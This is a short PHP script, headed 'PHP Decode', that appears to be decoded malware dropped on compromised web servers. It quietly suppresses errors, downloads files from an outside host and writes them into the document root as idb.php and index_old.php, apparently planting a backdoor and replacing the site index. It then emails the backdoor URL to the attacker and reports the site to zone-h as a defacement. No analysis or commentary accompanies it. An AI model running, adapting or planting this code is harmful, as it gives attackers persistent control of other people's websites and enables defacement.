PHP Decode

@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check5 = $_SERVER['DOCUMENT_ROOT'] . "/idb.php" ;
$text5 = http_get('http://kefiex.yu.tl/files/depes.css');
$open5 = fopen($check5, 'w');
fwrite($open5, $text5);
fclose($open5);
if(file_exists($check5)){
} 

$check1 = $_SERVER['DOCUMENT_ROOT'] . "/index_old.php" ;
$text1 = http_get('http://kefiex.yu.tl/files/i.zip');
$open1 = fopen($check1, 'w');
fwrite($open1, $text1);
fclose($open1);
if(file_exists($check1)){
} 



ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$tujuanmail = '[email protected]';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . "/idb.php";
$pesan_alert = "fix $x_path :p *IP Address : [ " .$check1. " ]";
mail($tujuanmail, "Maho", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
$ch3 = curl_init ("http://www.zone-h.com/notify/single");
       curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
       curl_setopt ($ch3, CURLOPT_POST, 1);
       curl_setopt ($ch3, CURLOPT_POSTFIELDS, "defacer=kefiex404&domain1=$x_path&hackmode=1&reason=1");  // here put ur name on zone-h
if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch3)))
{
}
?>